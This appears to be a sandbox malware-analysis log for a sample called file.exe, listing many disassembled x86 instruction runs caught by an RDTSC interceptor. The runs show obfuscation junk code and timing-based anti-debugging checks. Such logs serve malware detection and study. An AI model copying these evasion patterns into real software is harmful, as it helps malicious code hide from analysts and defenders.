Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BDEB second address: F4BDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BDF1 second address: F4BE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FB958B07025h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BE14 second address: F4BE1E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB958FCD44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BF09 second address: F4BFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 add dword ptr [esp], 086A6EA8h 0x0000000c push edi 0x0000000d jmp 00007FB958B07028h 0x00000012 pop edx 0x00000013 push 00000003h 0x00000015 mov edi, dword ptr [ebp+122D3980h] 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e call 00007FB958B07020h 0x00000023 jp 00007FB958B07016h 0x00000029 pop esi 0x0000002a sub dword ptr [ebp+122D2A1Fh], edx 0x00000030 popad 0x00000031 push 00000003h 0x00000033 push 8EADDAC3h 0x00000038 jmp 00007FB958B07024h 0x0000003d add dword ptr [esp], 3152253Dh 0x00000044 jo 00007FB958B0701Eh 0x0000004a pushad 0x0000004b mov dx, E553h 0x0000004f mov dl, bh 0x00000051 popad 0x00000052 lea ebx, dword ptr [ebp+1244DD27h] 0x00000058 xor esi, 6612B647h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 jnp 00007FB958B07016h 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C064 second address: F4C07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB958FCD44Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C07D second address: F4C0A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FB958B07020h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FB958B0701Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C0A8 second address: F4C0FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+122D3AA8h] 0x00000011 push 00000003h 0x00000013 mov dword ptr [ebp+122D2A46h], esi 0x00000019 push 00000000h 0x0000001b mov edx, 50D96A28h 0x00000020 push 00000003h 0x00000022 mov dx, di 0x00000025 call 00007FB958FCD449h 0x0000002a jmp 00007FB958FCD44Eh 0x0000002f push eax 0x00000030 pushad 0x00000031 jmp 00007FB958FCD453h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C0FD second address: F4C101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C101 second address: F4C105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C105 second address: F4C11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push ecx 0x0000000d jg 00007FB958B07016h 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C11C second address: F4C161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB958FCD446h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007FB958FCD451h 0x00000014 jmp 00007FB958FCD456h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jnc 00007FB958FCD458h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C161 second address: F4C165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C165 second address: F4C169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C169 second address: F4C18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 and ecx, dword ptr [ebp+122D3B80h] 0x0000000d lea ebx, dword ptr [ebp+1244DD30h] 0x00000013 sbb esi, 33167D00h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d js 00007FB958B07016h 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34EE3 second address: F34EE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34EE9 second address: F34EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34EEE second address: F34EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B56C second address: F6B572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B572 second address: F6B576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B576 second address: F6B57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B6EE second address: F6B6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9B1 second address: F6B9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9B5 second address: F6B9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958FCD453h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9CE second address: F6B9D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BF9E second address: F6BFB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB958FCD452h 0x0000000c ja 00007FB958FCD446h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BFB2 second address: F6BFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BFB6 second address: F6BFC2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB958FCD44Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C3CA second address: F6C3DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C589 second address: F6C58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6C9 second address: F6C6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6CD second address: F6C6E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD456h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6E7 second address: F6C6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB958B07016h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6F5 second address: F6C6F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6F9 second address: F6C702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CDB3 second address: F6CDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FB958FCD446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CDC6 second address: F6CDF0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB958B07016h 0x00000008 jne 00007FB958B07016h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB958B07024h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D09D second address: F6D0A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D0A1 second address: F6D0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B07026h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c jc 00007FB958B07039h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D37C second address: F6D384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D384 second address: F6D389 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D389 second address: F6D392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D392 second address: F6D396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EBDA second address: F6EBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007FB958FCD44Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EBEE second address: F6EBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EBF3 second address: F6EC04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB958FCD446h 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D509 second address: F3D516 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB958B07016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D516 second address: F3D53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB958FCD44Fh 0x0000000d popad 0x0000000e push ecx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop ecx 0x00000012 popad 0x00000013 jc 00007FB958FCD45Ah 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70CF6 second address: F70CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70CFB second address: F70D08 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB958FCD448h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70D08 second address: F70D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB958B07016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75203 second address: F75213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75213 second address: F7522B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7522B second address: F7524E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jno 00007FB958FCD452h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7524E second address: F75257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75257 second address: F7525B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79DEA second address: F79E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB958B07016h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FB958B07022h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79E0B second address: F79E12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79208 second address: F79241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB958B07016h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 je 00007FB958B07016h 0x00000016 jmp 00007FB958B07022h 0x0000001b jmp 00007FB958B07020h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79241 second address: F79275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007FB958FCD448h 0x00000010 pushad 0x00000011 popad 0x00000012 jnl 00007FB958FCD458h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FB958FCD450h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F793E5 second address: F793EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7957E second address: F79584 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79584 second address: F79594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FB958B07016h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79594 second address: F7959C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7959C second address: F795A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F799DE second address: F799F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB958FCD44Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F799F1 second address: F799FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB958B07016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7BC89 second address: F7BCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB958FCD44Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB958FCD456h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C359 second address: F7C374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 sub esi, 1C88D3DAh 0x0000000e mov si, ax 0x00000011 nop 0x00000012 jnc 00007FB958B0701Eh 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C57D second address: F7C583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C6CE second address: F7C6D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CE5E second address: F7CE81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB958FCD457h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EA77 second address: F7EA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E12A second address: F7E130 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EA7B second address: F7EA81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EA81 second address: F7EB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D338Dh], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FB958FCD448h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FB958FCD448h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a call 00007FB958FCD451h 0x0000004f mov di, 1347h 0x00000053 pop esi 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB958FCD456h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F815BB second address: F815C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB958B07016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82177 second address: F8217B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8217B second address: F82197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82197 second address: F821B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F821B0 second address: F821B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F423C7 second address: F423CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F423CB second address: F423D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F423D8 second address: F423F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958FCD454h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87840 second address: F87844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AFDE second address: F8AFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87F0C second address: F87F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88E5D second address: F88E78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C02F second address: F8C088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B0701Bh 0x00000009 popad 0x0000000a nop 0x0000000b jg 00007FB958B0701Fh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB958B07018h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov di, 7A58h 0x00000031 cmc 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D2A39h], eax 0x0000003a stc 0x0000003b push eax 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88E78 second address: F88E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
